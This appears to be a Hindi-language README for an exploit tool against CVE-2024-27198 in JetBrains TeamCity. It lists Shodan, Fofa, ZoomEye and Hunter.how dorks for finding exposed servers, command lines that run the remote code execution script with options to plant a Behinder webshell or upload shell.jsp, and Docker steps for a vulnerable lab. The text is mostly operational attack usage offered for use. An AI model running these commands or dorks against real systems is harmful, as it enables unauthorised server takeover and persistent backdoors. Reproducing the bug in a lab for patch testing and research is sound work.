साइबरस्पेस मैपिंग डॉर्क

Fofa

app="JET_BRAINS-TeamCity"

ZoomEye

app:"JetBrains TeamCity"

Hunter.how

product.name="TeamCity"

Shodan

http.component:"teamcity"

उपयोग कैसे करें

मैं Python3.9 का उपयोग कर रहा हूँ।

pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp

इसके अलावा:

python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

कमज़ोरी पुनरुत्पादन पर्यावरण निर्माण

कमज़ोर इमेज को खींचने और शुरू करने के लिए डॉकर का उपयोग करें:

sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable

फिर बुनियादी सेटिंग्स करें:

संदर्भ

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://github.com/Chocapikk/CVE-2024-27198